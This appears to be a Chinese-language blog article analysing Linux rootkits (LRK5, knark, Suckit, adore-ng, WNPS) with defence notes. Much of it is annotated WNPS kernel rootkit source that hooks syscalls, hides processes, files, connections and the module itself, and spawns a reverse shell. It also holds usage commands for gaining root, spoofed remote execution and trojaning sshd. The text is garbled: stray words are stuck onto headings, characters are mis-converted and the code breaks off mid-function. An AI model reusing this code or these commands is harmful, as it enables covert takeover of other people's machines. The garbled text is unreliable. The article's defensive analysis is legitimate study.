目錄html
1. 引言 2. LRK5 Rootkit 3. knark Rootkit 3. Suckit(super user control kit) 4. adore-ng 5. WNPS 6. Sample Rootkit for Linux 7. suterusu 8. Rootkit Defense Tools 9. Linux Rootkit Scanner: kjackal
1. 引言node
This paper attempts to analyze the characteristics from the attacker's point of view about the currentopen source rootkit key technology, hope can find common features of rootkit damage andhidden, and developed a general strategy for rootkit defense and counter methodpython
In simple terms, rootkit can be divided into the following categoriesmysql
目前已經存在的rootkit攻擊思路linux
1. 後門程序使本地用戶取得root權限 1) 設置uid程序 黑客在一些文件系統理放一些設置uid腳本程序。不管什麼時候它們只要執行這個程序它們就會成爲root,關於uid權限標誌位相關知識,請參閱另外一篇文章 http://www.cnblogs.com/LittleHann/p/3862652.html 2) 系統木馬程序 黑客替換一些系統程序,如"login"程序。所以, 只要知足必定的條件,那些程序就會給黑客最高權限 3) cron後門 黑客在cron增長或修改一些任務,在某個特定的時間程序運行,他們就能夠得到最高權限 2. 後門程序給遠程用戶以最高訪問權限 1) ".rhost"文件 ".rhosts"文件是用戶在linux/unix下用於創建雙機互信的配置文件。一旦"黑客賬號"被加入某個用戶的.rhosts文件裏,任何人在任何地方均可以用這個帳號來登錄進來而不須要密碼 2) ssh認證密鑰 黑客把他本身的公共密鑰放到目標機器的ssh配置文件"authorized_keys"裏, 他能夠用該帳號來訪問機器而不須要密碼 3) bind shell 3.1) 黑客綁定一個shell到一個特定的tcp端口。任何人telnet這個端口均可以得到交互的shell 3.2) 基於udp的後門通道 3.3) 未鏈接的tcp,即任意端口激活的(wnps)的後門rootkit 3.4) 基於icmp協議的隱蔽通道 4) 木馬服務程序 任何打開的服務均可以成爲木馬來爲遠程用戶提供訪問權限。例如: 4.1) 利用inetd服務在一個特定的端口來建立一個bind shell 4.2) 經過ssh守護進程提供訪問途徑 3. 隱藏文件 入侵者須要作以下事情: 1) 替換一些系統經常使用命令如"ls", "du", "fsck" 這能夠經過重定向可執行文件技術達到,經過截獲sys_execve(),不管什麼時候系統嘗試去執行"ls"程序的時候, 它都會被重定向到入侵者給定的其餘程序。 2) 在底層方面,他們經過把硬盤裏的一些區域標記爲壞塊並把它的文件放在那裏 3) 或者把一些文件放入引導塊裏 4) read系統調用劫持 4. 隱藏進程 1) 替換"ps"、"top"程序 2) 修改/proc下的內核變量 3) 劫持read、getdents64系統調用,直接對指定進程進行過濾 5. 隱藏網絡鏈接狀態 1) 修改/proc/net 2) 對netfilter提供的回調點註冊過濾函數 6. 隱藏sniffer 1) 隱藏網絡接口的雜撥模式 經過替換劫持sys_ioctl()系統調用實現 7. 隱藏rootkit模塊自己 1) 隱藏lkm自己 一個優秀的lkm程序必須很好地隱藏它本身。系統裏的lkm是用單向鏈表鏈接起來的, 爲了隱藏lkm自己咱們必須把它從鏈表中移走以致於lsmod這樣的命令不能把它顯示出來。 2) 隱藏符號表 一般的lkm中的函數將會被導出以致於其餘模塊可使用它。由於咱們是入侵者, 因此隱藏這些符號是必須的。幸運的是, 有一個宏能夠供咱們使用:"EXPORT_NO_SYMBOLS"。 把這個宏放在lkm的最後能夠防止任何符號的輸出
Relevant Link:git
http://www.cnblogs.com/LittleHann/p/3870974.html http://staronmytop.blog.51cto.com/6366057/1119475 http://www.xfocus.net/articles/200104/159.html
2. LRK5 Rootkitgithub
0x1: Installation && Usagesql
download sourcecode ./configure -n make all install
0x2: Featuresshell
經過替換用戶態(ring3)的指令文件(即/bin、/sbin、/usr/bin下的默認指令對應的可執行文件)來實現後門rootkit的目的,這是一種指令劫持的思路express
lrk5進行的替換以下:
1. chfn 這個指令用來修改用戶的finger information(指紋信息),做爲後門的chfn能夠接收用戶輸入的password,從而進入rootkit模式 2. chsh 切換shell的指令,做爲後門的chfn能夠接收用戶輸入的password,從而進入rootkit模式 3. crontab 使用預設的"正常"的crontab(計劃任務)給用戶看,從而將rootkit設置的後門啓動項隱藏起來 4. du 和ls做用相似,rootkit劫持後會隱藏rootkit相關文件,從而欺騙用戶 5. find find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...] [expression] 尋找指定文件的指令,rootkit劫持後會隱藏rootkit相關文件,從而欺騙用戶 6. ifconfig rootkit劫持後會隱藏"混雜模式"的標誌位(混雜模式被rootkit用來進行網絡流量嗅探) 7. inetd 用戶後門訪問的遠程訪問服務器 8. killall rootkit劫持了本來的"殺進程kill、killall"指令以後,會在本地維護一份"ROOTKIT_PROCESS_FILE"列表,凡是在這個列表中的進程都禁止殺死,以此對抗系統管理員使用kill命令強行結束rootkit後門程序 9. login rootkit劫持了login程序以後,除了保證本來的正經常使用戶登陸過程,還容許rootkit種植者使用一種叫"萬能密碼"的機制,即只要用戶輸入的密碼是一個指定的"萬能密碼",則用戶能夠以任何身份登陸任何用戶 10. ls 對指定文件列表中的文件進行隱藏 11. netstat 對當前網絡鏈接狀態進行修改、隱藏 1) type 0: hide uid 2) type 1: hide local address 3) type 2: hide remote address 4) type 3: hide local port 5) type 4: hide remote port 6) type 5: hide UNIX socket path example: 1) 0 500: Hides all connections by uid 500 2) 1 128.31: Hides all local connections from 128.31.X.X 3) 2 128.31.39.20: Hides all remote connections to 128.31.39.20 4) 3 8000: Hides all local connections from port 8000 5) 4 6667: Hides all remote connections to port 6667 6) 5 .term/socket: Hides all UNIX sockets including the path 12. passwd Local user->root. Enter your rootkit password instead of your old password. 13. ps 修改、隱藏執行進程 An example data file is as follows: 1) 0 0 Strips all processes running under root 2) 1 p0 Strips tty p0 3) 2 sniffer Strips all programs with the name sniffer 4) 3 hack Strips all programs with 'hack' in them,ie. proghack1, hack.scan, snhack etc. 14. sshd 能夠實現鍵盤、密碼記錄的功能 15. syslogd 修改、隱藏某些日誌信息
lrk5爲每一種須要"劫持"的指令程序都編寫了一個對應的ELF程序,從這裏能夠看出,lrk5只是在進行指令的劫持和替換,屬於第一代rootkit,代碼量較多,隱蔽性較差
0x3: Defense Strategy
針對這種rootkit,能夠很容易地經過對系統關鍵目錄創建"黃金基準hash庫",只要匹配到指定敏感目錄中的文件的hash值產生變化(即被修改和替換了),即代表當前系統遭受到了rootkit的攻擊
典型的如: tripwire
lrk5進行的替換以下:
Relevant Link:
http://packetstormsecurity.com/files/10533/lrk5.src.tar.gz.html https://github.com/eqmcc/rk/tree/master/lrk5
3. knark Rootkit
0x1: Installation && Usage
make
insmod knark
0x2: Features
Knark具備如下特性:
1. 隱藏或顯示文件或目錄 2. 隱藏TCP或UDP鏈接 3. 程序執行重定向 4. 非受權地用戶權限增長("rootme") 5. 改變一個運行進程的UID/GID的工具 6. 非受權地、特權程序遠程執行守護進程(後門端口) 7. Kill –31: 隱藏運行的進程 8. 調用表修改: rootkit經過修改導出的系統調用表,對與攻擊行爲相關的系統調用進行替換,隱藏攻擊者的行蹤
該軟件包的核心軟件是knark.c,它是一個Linux LKM(loadable kernel-module)
當knark被加載,隱藏目錄/proc/knark被建立,該目錄下將包含如下文件:
1. author: 做者自我介紹 2. files: 系統中隱藏文件列表 3. nethides 在/proc/net/[tcp udp]隱藏的字符串 4. pids: 被隱藏的pids列表,格式相似於ps命令輸出 5. redirects: 被重定向的可執行程序入口列表
該軟件包編譯之後將有下面這些工具軟件(它們都依賴於被加載的模塊knark.o)
1. hidef: 用於在系統中隱藏文件 在/usr/lib目錄下建立子目錄hax0r,而後運行命令"./hidef /usr/lib/.hax0r",則該目錄會被隱藏,"ls"或"du"等命令都不能顯示該目錄及其子目錄 2. unhidef: 用來恢復被隱藏的文件 1) 能夠經過訪問"cat /proc/knark/files"來察看你隱藏了哪些文件 2) 經過"./unhidef /usr/lib/.hax0r"命令來解除對隱藏文件的隱藏 3. ered: 用來配置重定向程序的執行(進程劫持) 拷貝特洛伊木馬版本的sshd爲/usr/lib/.hax0r/sshd_trojan,而後運行"./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan",這樣當/usr/local/sbin/sshd被運行時,實際上運行的特洛伊木馬版本的
sshd。能夠經過命令./ered -c來清楚全部的可執行程序重定向 4. nethide: 用來隱藏/proc/net/tcp和/proc/net/udp中的某些字符串 netstat命令就不會獲得指定的連接信息。經過命令/nethide ":ABCD "能夠隱藏和端口號ABCD(十六進制)相關的鏈接(43981 dec)。也就是對/proc/net/[tcp udp]讀取時進行"grep -v"操做。 要理解knark這個功能的做用,咱們須要理解使用該程序從/proc/net/[tcp udp]獲得的輸出的意義 1) 假設系統運行有sshd,那麼鏈接到本地22端口之後,運行"netstat -at",則輸出可能包含: Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED 2) 如今咱們來檢測文件/proc/net/tcp: cat /proc/net/tcp 則輸出可能包含入下內容: sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode 0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 17573 1 f4a4a540 99 0 0 10 -1 3) 若咱們但願隱藏和地址127.0.0.1相關的任何信息,咱們必須使用如上面所示的十六進制的格式。所以若是但願隱藏地址127.0.0.1的22號端口相關的內容就要使用0100007F:0016來標識該連接。
所以"./nethide "0100007F:0016"將隱藏to/from localhost:22相關的連接信息 5. rootme: 用來實現非特權用戶得到root訪問權限 1) "./rootme /bin/sh" 實現以root身份運行/bin/sh 2) "./rootme /bin/ls -l /root" 僅僅以root身份運行單個命令。 6. taskhack: 用來改變某個運行着的進程的uid和gid ./taskhack -alluid=0 pid 該命令將進程pid的全部*uid's (uid, euid, suid, fsuid)爲0(root) 7. rexec: 用來遠程執行knark-server的命令: ./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER 這命令將從www.microsoft.com:53發送一個假裝的udp數據包到haxored.server.nu:53,來運行haxored.server.nu的命令"/bin/touch /LUDER" 入侵者入侵之後每每將knark的各類工具存放在/dev/某個子目錄下建立的隱藏子目錄,如/dev/.ida/.knard等等
0x3: Defense Strategy
knark rootkit屬於LKM層的rootkit,不容易經過普通方法發現和清除,建議使用的方法有
1. knarkfinder.c來發現Knark隱藏的進程 2. 以非特權用戶身份來運行Knark的一個軟件包如:rootme,看該用戶是否能得到root權限。因爲目前Knark目前沒有認證機制,所以任何系統被安裝了Knark任何一個本地用戶運行這個程序都能得到root權限。 3. 使用kstat來檢測 4. 去除LKM機制 1) 建立和使用不支持可加載模塊的內核,也就是使用單塊內核。這樣knark就不能插入到內核中去了 2) 使用lcap實現系統啓動結束之後移除內核LKM功能,這樣能夠防止入侵者加載模塊
Relevant Link:
http://packetstormsecurity.com/files/24853/knark-2.4.3.tgz.html http://netsecurity.51cto.com/art/200801/63989.htm http://netsecurity.51cto.com/art/200801/63989_1.htm http://netsecurity.51cto.com/art/200801/63989_2.htm http://antivirus.downloadatoz.com/5480,linux-rootkit-knark,removal-tips.html
3. Suckit(super user control kit)
0x1: Installation && Usage
make skconfig
輸入各類參數
make
0x2: Features
1. sk(suckit(super user control kit))後門服務端程序爲靜態ELF文件,壓縮以後就幾十K的大小,這意味着suckit對目標系統佔用的資源較少,相對不容易出現CPU飆高等性能異常現象 2. 經過對肉雞的任何開放的TCP端口發送特定數據就能夠激活後門,端口複用 經過對肉雞的任何開放的TCP端口發送特定數據就能夠激活後門回連到咱們的客戶端,而且客戶端有自動掃描功能,它會自動掃描肉雞開放的端口併發送激活指令。特別在一些有防火牆的環境裏,限制了回連的目標端口,咱們還能夠指定
特殊的回連端口來繞過防火牆,好比回連到80、443這種通常都開放的TCP端口 3. sk後門 SK後門有一個TTY Sniffer(即"鍵盤記錄"),不過它不但能夠記錄控制檯的操做,還能夠記錄遠程鏈接的操做 它根據程序指定的關鍵字抓取TTY記錄,主要包括ssh、passwd、telnet、login等關鍵字。經過這個功能,咱們能夠很容易地抓到相關密碼而擴大戰果,特別是在Root密碼設置十分BT的時候,咱們沒法用John來暴力破解,TTY Log就
能夠記錄到Root的密碼,甚至是其餘Linux的Root密碼 3. sk採用動態隱藏的方式來隱藏指定的內容,包括 1) 文件 2) 進程 3) 網絡鏈接 當咱們使用SK的客戶端登陸到肉雞以後,除了文件是根據prefix隱藏以外,其餘的一切操做都是隱藏的。這個功能十分方便,只要咱們使用SK的客戶端登陸以後,就能夠放心地操做了,不須要擔憂什麼東西沒有隱藏而被管理員發現。相
比之下,adore-ng這類Rootkit就有點不人性化了,必須使用客戶端手動隱藏指定的進程、網絡和文件 4. sk能夠感染系統的ELF文件達到自啓動的目的,也能夠經過替換系統的init文件來實現自動啓動
相較於其餘的LKM注入、劫持型的rootkit而言,SK並無修改系統調用跳轉表的內容,而是:
1. sk首先拷貝了系統調用表 2. 而後將拷貝的系統調用表按照入侵者的意圖進行修改爲執行入侵者改寫的系統調用響應函數 3. 而後將system_call從舊的系統調用表上移開,指向新的系統調用表
Ps: 這種技術屬於早些年的"修改內核對象達到劫持systemcall系統調用"的技術,對於linux下的系統調用劫持,還有不少別的姿式
http://www.cnblogs.com/LittleHann/p/3854977.html
0x3: Defense Strategy
SK是經過讀和寫kmem來控制系統的,kmem是一個字符設備文件,是計算機主存的一個影像。它能夠用於測試甚至修改系統,經過禁止寫kmem能夠從必定程度上防護sk rootkit
Relevant Link:
http://www.hacker.com.cn/uploadfile/2013/0416/20130416020443596.pdf
4. adore-ng
0x1: Installation && Usage
mv Makefile.2.6 Makefile make
0x2: Features
相比於其餘使用LKM相關的rootkit技術,adore-ng rootkit並不修改系統調用層的內容,而是經過修改VFS(Virtual Filesystem Switch)層的具體處理函數,如替換VFS層的 file_ops等函數,來實現信息隱藏目的
1. adore-ng穩定性較好 2. adore-ng後門服務端程序能夠根據具體環境進行動態編譯 3. 可使用客戶端手動的去隱藏指定的進程、網絡和文件; 4. adore-ng能夠能夠經過插入或者替換系統模塊來實現自動啓動
0x3: Defense Strategy
對於adore-ng的rootkit攻防,咱們能夠學習到的是:
1. 有不少的rootkit defenser軟件會對系統調用進行安全性檢測,看是否被替換或者增長了可疑的系統調用模塊(LMK注入) 2. adore-ng不攔截系統調用,而是攔截具體文件系統的回調函數,由於自己文件系統(VFS)的回調函數就是動態註冊的,就是動態變化的,那麼反黑軟件天然就不能簡單下結論說這個函數被黑掉了,所以這個rootkit能得到更好的隱
蔽性
5. WNPS
0x1: Installation && Usage
wnps的安裝必需要注意的一個問題是linux內核版本的問題,這裏建議使用red hat enterprise as4 kernel 2.6.9版本,過高版本在編譯wnps的時候可能會出現問題
make && make install
編譯完成後,要注意的是,咱們的client和肉雞server使用的"tcp標誌密碼"必定要一致,經過config.進行配置,這個"tcp標誌密碼"用於附帶在tcp數據報中,用於激活肉雞端的shell開關,所以,本質上來講,wnps的使用應該分紅兩步: 本地監聽一個端口等待肉雞反連、向肉雞發送密碼激活肉雞去反連、得到shell
這兩步能夠經過wnps提供的客戶端自動完成
/* 目標肉雞的ip是192.168.207.135 1. client會默認監聽本地8899(可配置) 2. client會自動輪詢從21端口開始向用戶指定的遠程肉雞創建鏈接(所以必須先創建tcp鏈接才能發送帶"tcp標誌密碼"的tcp數據包) 3. 和肉雞創建好tcp鏈接以後,先肉雞發送帶"tcp標誌密碼"的tcp數據包 4. 肉雞的wnps.o模塊由於註冊了netfilter的回調函數,當在tcp數據報中檢測到了關鍵字以後,會自動開啓shell,並進行內核級的反向鏈接 5. 後門創建成功 */ ./client -tcp 192.168.207.135
0x2: Features
Wnps(wnps is not poc shell)是一款運行在Linux 2.6.x平臺的rootkit+backdoor程序
1. 隱藏 1) 隱藏指定文件 2) 隱藏文件中"特定的內容" 3) 隱藏進程 4) "動態隱藏"網絡鏈接、進程(相似sk的動態隱藏技術) 5) 隱藏自身模塊 6) 保護相關模塊、進程、文件不被跟蹤 2. 密碼記錄(ssh, su, mysql, pop3, passwd etc) 3. 內核反彈後門(Backdoor功能) 1) 正向鏈接後門 2) 定時回連後門 回連部分能夠穩定的與客戶端進行通信,上線方式爲HTTP、或DNS 3) 置定時自動回連 4. 穩定性和通用性: 1) 兼容性 wnps能在2.6.0-2.6.24之間的x86,amd平臺下穩定運行,跨平臺簡易安裝拿着一個wnps.ko就能夠管理全部2.6內核的機器,全部要作的事情只是執行insmod wnps.ko 2) 模塊注射 比adore-ng更穩定的模塊注射方式 5. 通信加密 6. 開機能夠自動運行 7. 客戶端是一個可交互的控制檯界面, 能控制多臺主機
0x3: Code Analysis
這裏以xfocus上的beta版wnps爲樣本進行分析
hook.h
#ifndef HOOK_H #define HOOK_H #define PROC_HOME "/proc/kallsyms" #define SYSENTER_ENTRY "sysenter_entry" #define BUFF 100 #define READ_NUM 256 #define ORIG_EXIT 19 #define DIRECALL 42 #define SALTO 5 #define SKILL 49 #define SGETDENTS64 57 #define SREAD 65 #define DAFTER_CALL 70 #define DNRSYSCALLS 10 #define ASMIDType( valor ) \ __asm__ ( valor ); #define JmPushRet( valor ) \ ASMIDType \ ( \ "push %0 \n" \ "ret \n" \ \ : : "m" (valor) \ ); #define CallHookedSyscall( valor ) \ ASMIDType( "call *%0" : : "r" (valor) ); struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; static struct { unsigned short limit; unsigned long base; }__attribute__ ((packed)) idt48; atomic_t read_activo; spinlock_t wnps_lock = SPIN_LOCK_UNLOCKED; unsigned int system_call_addr; void *sys_call_table_addr; void **sys_call_table; void *sysenter_entry; unsigned long dire_call,dire_exit,after_call; int errno; #endif
hook.c
/* * WNPS V 0.26 beta2 *Wnps is not poc shell* * * Linux rootkit for x86 2.6.x kernel * */ #ifndef __KERNEL__ #define __KERNEL__ #endif #ifndef MODULE #define MODULE #endif #ifdef MODVERSIONS #include <linux/modversions.h> #endif #include <linux/types.h> #include <linux/stddef.h> #include <linux/unistd.h> #include <linux/module.h> #include <linux/version.h> #include <linux/kernel.h> #include <linux/string.h> #include <linux/mm.h> #include <linux/slab.h> #include <linux/sched.h> #include <linux/in.h> #include <linux/skbuff.h> #include <linux/netdevice.h> #include <linux/file.h> #include <linux/proc_fs.h> #include <linux/namei.h> #include <linux/dirent.h> #include <linux/kobject.h> #include <linux/ip.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/list.h> #include <linux/ptrace.h> #include <linux/spinlock.h> #include <linux/tty.h> #include <linux/tty_driver.h> #include <linux/timer.h> #include <linux/jiffies.h> #include <net/tcp.h> #include <asm/processor.h> #include <asm/uaccess.h> #include <asm/unistd.h> #include "config.h" #include "hook.h" #include "syscalls.h" #include "host.h" static inline my_syscall0(pid_t, fork); asmlinkage long (*orig_getdents64)(unsigned int fd, struct dirent64 *dirp, unsigned int count); asmlinkage ssize_t (*orig_read)(int fd, void *buf, size_t nbytes); //asmlinkage ssize_t (*orig_write)(int fd,void *buf,size_t count); int (*old_tcp4_seq_show)(struct seq_file *,void *); asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count); asmlinkage ssize_t Sys_read(int fd, void *buf, size_t nbytes); asmlinkage ssize_t Sys_write(int fd,void *buf,size_t count); asmlinkage long Sys_chdir(const char __user *filename); asmlinkage int Sys_kill(pid_t pid,int sig); asmlinkage long Sys_ptrace(long request,long pid,long addr,long data); /* * function in shell.c */ extern unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)); extern int netfilter_test_init(void); extern void netfilter_test_exit(void); extern int kshell(int ip,int port); extern __u32 wnps_in_aton(const char *str); extern struct nf_hook_ops nfho; extern unsigned long myowner_port; extern unsigned long myowner_ip; extern unsigned int wztshell; extern char connect_ip[20]; /* * function in klogger.c */ extern void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count); extern void (*old_receive_buf)(struct tty_struct *,const unsigned char *,char *,int); int hook_init(void); static char read_buf[BUFF]; unsigned long sysenter; /* static struct timer_list my_timer; new_idt是用來進行系統調用中斷劫持的idt跳轉例程 */ void new_idt(void) { ASMIDType ( "cmp %0, %%eax \n" "jae syscallmala \n" "jmp hook \n" "syscallmala: \n" "jmp dire_exit \n" : : "i" (NR_syscalls) ); } /* set_idt_handler: 劫持指定的中斷例程(即劫持idt中的某個元素) 這裏傳入的是system_call,即劫持系統調用這個idt中斷例程 */ void set_idt_handler(void *system_call) { unsigned char *p; unsigned long *p2; p = (unsigned char *) system_call; while (!((*p == 0x0f) && (*(p+1) == 0x83))) { p++; } p -= 5; *p++ = 0x68; p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); p = (unsigned char *) p2; *p = 0xc3; while (!((*p == 0x0f) && (*(p+1) == 0x82))) { p++; } p -= 5; *p++ = 0x68; p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); p = (unsigned char *) p2; *p = 0xc3; } /* sysenter屬於系統調用中的一個調用(它有本身的調用號) set_sysenter_handler()負責劫持sysenter(快速系統調用) */ void set_sysenter_handler(void *sysenter) { unsigned char *p; unsigned long *p2; p = (unsigned char *) sysenter; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) { p++; } while (!((*p == 0x0f) && (*(p+1) == 0x83))) { p--; } p -= 5; *p++ = 0x68; p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); p = (unsigned char *) p2; *p = 0xc3; } void hook(void) { register int eax asm("eax"); /* 根據傳入的系統調用號執行指定的hooked函數 */ switch(eax) { case __NR_getdents64: CallHookedSyscall(Sys_getdents64); break; case __NR_read: CallHookedSyscall(Sys_read); break; /* case __NR_write: CallHookedSyscall(Sys_write); break; */ default: JmPushRet(dire_call); break; } JmPushRet( after_call ); } /** * read_kallsyms - find sysenter(快速系統調用) address in /proc/kallsyms. * * success return the sysenter address,failed return 0. */ int read_kallsyms(void) { mm_segment_t old_fs; ssize_t bytes; struct file *file = NULL; char *p,temp[20]; int i = 0; file = filp_open(PROC_HOME,O_RDONLY,0); if (!file) { return -1; } if (!file->f_op->read) { return -1; } old_fs = get_fs(); set_fs(get_ds()); while((bytes = file->f_op->read(file,read_buf,BUFF,&file->f_pos))) { if (( p = strstr(read_buf,SYSENTER_ENTRY)) != NULL) { while (*p--) { if (*p == '\n') { break; } } while (*p++ != ' ') { temp[i++] = *p; } temp[--i] = '\0'; sysenter = simple_strtoul(temp,NULL,16); #if DEBUG == 1 printk("0x%8x\n",sysenter); #endif break; } } filp_close(file,NULL); return 0; } /* 經過/proc/kallsyms得到sysenter的地址 */ void *get_sysenter_entry(void) { void *psysenter_entry = NULL; unsigned long v2; if (boot_cpu_has(X86_FEATURE_SEP)) { rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2); } else { #if DEBUG == 1 printk("[+] serach sysenter_entry..."); #endif /* 經過/proc/kallsyms得到sysenter的地址 */ read_kallsyms(); if (sysenter == 0) { #if DEBUG == 1 printk("[-] Wnps installed failed.\n"); #endif } return ((void *) sysenter); } return(psysenter_entry); } /* 搜索sys_call_table的地址 這裏採用的是內存彙編代碼暴力搜索的思路,由於syscall()系統調用對應的彙編代碼是: 0x008514ff */ void *get_sct_addr(unsigned int system_call) { unsigned char *p; unsigned long s_c_t; p = (unsigned char *) system_call; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) { p++; } dire_call = (unsigned long) p; p += 3; s_c_t = *((unsigned long *) p); p += 4; after_call = (unsigned long) p; while (*p != 0xfa) /* cli */ p++; dire_exit = (unsigned long) p; return((void *) s_c_t); } /* Sys_getdents64調用劫持實現進程的隱藏 對於linux系統,能夠得到當前進程的指令有: 1. ll /proc 2. ps 3. top 這些系統指令到了內核系統調用這個層面,全都須要經過"getdents64"這個系統調用進行實現 wnps在對getdents64進行劫持的函數中,對指定進程信息進行了過濾,從而得到到了比簡單修改/proc更好的效果 */ asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count) { struct dirent64 *td1, *td2; long ret, tmp; unsigned long hpid, nwarm; short int hide_process, hide_file; /* first we get the orig information */ ret = (*orig_getdents64) (fd, dirp, count); if (!ret) { return ret; } /* get some space in kernel */ td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); if (!td2) { return ret; } /* copy the dirp struct to kernel space */ __copy_from_user(td2, dirp, ret); td1 = td2, tmp = ret; while (tmp > 0) { tmp -= td1->d_reclen; hide_file = 1; hide_process = 0; hpid = 0; hpid = simple_strtoul(td1->d_name, NULL, 10); /* If we got a file like digital,it may be a task in the /proc. So check the task with the task pid. */ if (hpid != 0) { struct task_struct *htask = current; do { if(htask->pid == hpid) { break; } else { htask = next_task(htask); } } while (htask != current); /* we get the task which will be hide */ if (((htask->pid == hpid) && (strstr(htask->comm, HIDE_TASK) != NULL))) { hide_process = 1; } } if ((hide_process) || (strstr(td1->d_name, HIDE_FILE) != NULL)) { ret -= td1->d_reclen; hide_file = 0; /* we cover the task information */ if (tmp) { memmove(td1, (char *) td1 + td1->d_reclen, tmp); } } /* we hide the file */ if ((tmp) && (hide_file)) { td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); } } nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); kfree(td2); return ret; } /* Sys_read是咱們的hook函數,實現對read系統調用的劫持 在這個hooded_read系統調用中,咱們實現了kernel space的soclet反向鏈接,大體流程以下 if(wztshell == 1) { //wztshell==1代表當前rootkit的shell已經被激活(已經經過netfilter過濾機制接收到了指令段發送的激活指令) 從肉雞端主動向遠程主控方創建tcp socket鏈接 } */ asmlinkage ssize_t Sys_read(int fd, void *buf, size_t nbytes) { ssize_t ret; /* we will start a shell */ if (wztshell == 1) { #if DEBUG == 1 printk(KERN_ALERT "[+] got my owner's packet.\n"); #endif wztshell = 0; if (!fork()) { kshell(myowner_ip,myowner_port); } } /* 在劫持函數的最後要繼續執行本來系統調用的功能,保證系統運行的正常 */ ret = orig_read(fd,buf,nbytes); return ret; } /* asmlinkage ssize_t Sys_write(int fd,void *buf,size_t count) { char *replace = " "; char *tmp_buf,*p; tmp_buf = (char *)kmalloc(READ_NUM,GFP_KERNEL); if (tmp_buf == NULL) return orig_write(fd,buf,count); copy_from_user(tmp_buf,buf,READ_NUM - 1); if (connect_ip[0] != 0 || connect_ip[0] != '\0') { if ((p = strstr(tmp_buf,connect_ip)) != NULL) { // spin_lock(&wnps_lock); strncpy(p,replace,strlen(replace)); // spin_unlock(&wnps_lock); copy_to_user((void *)buf,(void *)tmp_buf,READ_NUM); kfree(tmp_buf); return count; } } kfree(tmp_buf); return orig_write(fd,buf,count); } */ char *strnstr(const char *haystack,const char *needle,size_t n) { char *s = strstr(haystack,needle); if (s == NULL) { return NULL; } if (s - haystack + strlen(needle) <= n) { return s; } else { return NULL; } } int hacked_tcp4_seq_show(struct seq_file *seq, void *v) { int retval = old_tcp4_seq_show(seq, v); char port[12]; sprintf(port,"%04X",ntohs(myowner_port)); /* 過濾(屏蔽)掉指定的tcp鏈接狀態 */ if(strnstr(seq->buf+seq->count-TMPSZ,port,TMPSZ) { seq->count -= TMPSZ; } return retval; } /* hook.o模塊入口初始化函數 */ int wnps_init(void) { /* struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; */ struct descriptor_idt *pIdt80; /* 指向當前模塊的指針 在module.h 中 THIS_MODULE的定義以下: extern struct module __this_module; #define THIS_MODULE (&__this_module) 便是保存了__this_module這個對象的地址,那這個__this_module在哪裏定義呢?這就要從module的編譯提及啦,若是編譯過模塊就會發現,會生成*.mod.c這樣的一個文件,打開這個文件,就會發現,相似下面的定義: struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif }; http://www.cnblogs.com/ziziwu/archive/2012/07/06/2578283.html */ struct module *m = &__this_module; /* include/net/tcp.h struct tcp_seq_afinfo { char *name; sa_family_t family; const struct file_operations *seq_fops; struct seq_operations seq_ops; }; */ struct tcp_seq_afinfo *my_afinfo = NULL; /* struct proc_dir_entry { unsigned short low_ino; unsigned short namelen; const char *name; mode_t mode; nlink_t nlink; uid_t uid; gid_t gid; unsigned long size; struct inode_operations * proc_iops; struct file_operations * proc_fops; get_info_t *get_info; struct module *owner; struct proc_dir_entry *next, *parent, *subdir; void *data; read_proc_t *read_proc; write_proc_t *write_proc; atomic_t count; int deleted; kdev_t rdev; }; proc_net->subdir用於獲取"linux虛擬通道/proc/net下的接口" 關於/proc請參閱另外一篇文章 http://www.cnblogs.com/LittleHann/p/3883713.html */ struct proc_dir_entry *my_dir_entry = proc_net->subdir; if (m->init == wnps_init) { list_del(&m->list); } #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,11) kobject_unregister(&m->mkobj.kobj); #elif LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,8) kobject_unregister(&m->mkobj->kobj); #endif __asm__ volatile ("sidt %0": "=m" (idt48)); /* idt表是一個"8字節"長度的元素數據 idt48.base + 8*0x80: 系統調用對應的中斷號是0x80 */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); /* 系統調用例程的基地址 */ system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 這是一種很好的調試編碼方式,將須要調試的開關用宏來控制,能夠很方便的在內核編程的時候進行printk調試 */ #if DEBUG == 1 printk(KERN_ALERT "[+] system_call addr : 0x%8x\n",system_call_addr); #endif /* 搜索sys_call_table的地址 */ sys_call_table_addr = get_sct_addr(system_call_addr); #if DEBUG == 1 printk(KERN_ALERT "[+] sys_call_table addr : 0x%8x\n",(unsigned int)sys_call_table_addr); #endif sys_call_table = (void **)sys_call_table_addr; /* 獲取sysenter的入口地址 */ sysenter_entry = get_sysenter_entry(); wztshell = 0; atomic_set(&read_activo,0); /* 